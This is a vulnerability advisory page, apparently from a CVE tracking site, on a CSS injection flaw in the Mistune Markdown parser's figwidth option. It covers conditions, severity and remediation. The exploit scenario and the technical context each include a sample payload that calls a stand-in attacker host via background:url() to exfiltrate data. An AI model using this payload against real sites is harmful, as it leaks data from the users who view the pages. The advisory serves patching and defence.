Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit markdown figure directive with crafted figwidth
-
ExploitUnvalidated value injected into figure style attribute
-
ExecutionVictim browser renders and parses CSS
-
ImpactBrowser fetches attacker url() leaking data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires that the consuming application uses mistune with the RST directives plugin and the Figure directive explicitly registered (e.g., RSTDirective([Figure()]) or a superset) - this is NOT mistune's default configuration - and that the attacker can supply markdown rendered to other users. The specific trigger is the ':figwidth:' option of the '.. figure::' directive, which (unlike the Image directive's width/height) is not validated against the _num_re length regex and is concatenated raw into the '<figure style="width:...">' attribute. Exploitation is limited by: (1) the Figure directive being enabled, (2) the rendered HTML being served to victims without an additional CSS/attribute sanitizer or strict Content-Security-Policy restricting url() fetches, and (3) victim interaction - a user must load/render the page (UI:P). Impact is confined to CSS-level effects (url() exfiltration, layout tampering, attribute-prefix probing); it cannot directly execute JavaScript in the page origin. |
| Impact | This is a genuine but moderate-priority issue, not a high-severity emergency. The CVSS 4.0 base score of 5.3 (AV:N/AC:L/AT:N/PR:N/UI:P) reflects a network-reachable, low-complexity flaw with low confidentiality impact only (VC:L; VI:N/VA:N) and no scope change to subsequent systems (SC:N/SI:N/SA:N), consistent with CSS injection rather than code execution. The input Tags label this 'RCE, Code Injection' and the NVD CWE is CWE-94, but every authoritative source - the GHSA advisory (which adds CWE-1287) and the VulnCheck advisory - describes a CSS injection / data-exfiltration primitive, NOT remote code execution; this conflict should be resolved in favor of CSS injection. No EPSS score and no KEV listing are provided, and the CISA KEV status is therefore not confirmed; absence of these is not evidence either way. A PoC-verified demonstration is embedded in the GHSA advisory. The vuln.today Decision label is 'this_month', aligning with a plan-and-patch cadence rather than act_now/emergency. Net: a real, low-to-moderate web-application risk worth patching on a normal monthly cycle, materially lower than the 'RCE' tag implies. |
| Exploit ScenarioDerived | An application renders attacker-supplied RST-flavoured markdown through mistune with the Figure directive enabled (e.g., a docs/knowledge-base platform). The attacker submits a '.. figure::' block whose ':figwidth:' value is '100;background:url(//attacker.example/exfil?d=...)', which is concatenated unvalidated into the rendered '<figure style="width:...">' attribute. When a victim loads the page their browser fetches the background URL, sending a request (and any CSS-conditionally-leaked attribute data) to the attacker's server; a working PoC demonstrating this exact output is included in the vendor GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 22, 2026
Mistune 3.2.1 through 3.2.x (fixed in 3.3.0) mishandles the ':figwidth:' option of the '.. figure::' RST directive, concatenating it unvalidated into the rendered '<figure style="width:...">' attribute, so an attacker who controls markdown input can append arbitrary CSS declarations. Only deployments that explicitly enable the RST directives plugin with the Figure directive registered are exposed - this is not the library's default configuration - and a victim must render the crafted page (UI:P). The result is CSS injection limited to style-level effects such as forcing the browser to fetch attacker-controlled url() resources for data exfiltration, layout/visibility tampering and attribute-prefix probing; it cannot execute JavaScript in the page origin. The vendor has released 3.3.0, no CISA KEV entry exists, and the advisory includes a reporter-verified PoC snippet demonstrating the injection against 3.2.1.
RemediationAI
Upgrade to Mistune 3.3.0, the vendor-released fixed version (pip install --upgrade 'mistune>=3.3.0'), per advisory https://github.com/lepture/mistune/security/advisories/GHSA-xmwc-wjpr-q378; this is a normal monthly-cycle patch, not an emergency. The upstream fix applies the existing _num_re length validator to 'figwidth' so malformed values are dropped and the style attribute is omitted, matching the validation already used for the Image directive's width and height. If upgrading must be deferred, compensating controls are: stop registering the Figure directive (run RSTDirective without Figure, or disable the directives plugin entirely) - this removes the injection sink but also removes figure captions and figure rendering from trusted documents; or post-process rendered HTML with an allowlist sanitizer (bleach/nh3) that strips or rewrites style attributes on <figure> elements - this loses intended figure widths and requires careful configuration so legitimate styling is not broken; or enforce a Content-Security-Policy that restricts img-src and related URL-bearing directives to known origins, which blocks the background url() exfiltration fetches but must be weighed against breaking legitimate third-party assets. Note that the 'figclass' option is escaped and confined to the class attribute, so it is not a CSS injection vector.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Mistune is a pure-Python Markdown parser used by documentation renderers, MkDocs integrations and knowledge-base platforms. The flaw lives in src/mistune/directives/image.py: Figure.parse copies the 'figwidth' option verbatim into the figure attributes, and render_figure emits ' style="width:' + escape_text(figwidth) + '"'. escape_text only HTML-entity-escapes & < > ' and ", so the CSS-significant characters ';', '(', ')', ':' and '/' pass through and terminate the width declaration to start new ones - for example ':figwidth: 100;background:url(//attacker.example/x)' yields a figure whose style attribute triggers a background-image fetch to the attacker's host when the page loads. The same module already defines _num_re (^\d+(\.\d*)?(px|ch|em|rem|ex|rex|vw|vh|%)?$) and applies it to the Image directive's width and height; the asymmetry - the validator was recognised as necessary for style-bound values but never applied to figwidth - is the root cause. The advisory maps this to CWE-94 (improper control of code/attribute generation) with a secondary CWE-1287 (improper validation of a specified input type); some third-party tagging labels the issue 'RCE / Code Injection', but the advisory's demonstrated impact is strictly CSS-level, with no JavaScript execution in the page origin. Related CSS sinks reachable through the same primitive include cursor:url(), list-style-image:url(), mask:url() and border-image:url(), all of which cause network fetches. The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N, score 5.3) is consistent with the assessed CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N: remote, no privileges required, victim must view the rendered content, low confidentiality impact only. A reporter-verified PoC snippet reproducing the injection is included in the advisory; no weaponised public exploit code is otherwise confirmed and there is no KEV evidence of active exploitation.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Attacker-supplied markdown input (PR:N) over the network (AV:N) with simple, reliable injection (AC:L); victim must render the page (UI:R); only low-confidentiality data exfiltration, no integrity/availability impact.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
Lifecycle Timeline
1DescriptionCVE.org
Mistune from 3.2.1 before 3.3.0 contains a CSS injection vulnerability that allows attackers controlling markdown input to inject arbitrary style declarations via the unvalidated figwidth option of the figure directive. Attackers can append declarations like background:url() to the rendered figure style attribute, forcing victim browsers to send requests to attacker servers and leak attribute values.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-108420
GHSA-2jmw-jfgq-rw98
NVD
CVE.org
EPSS
Exploit-DB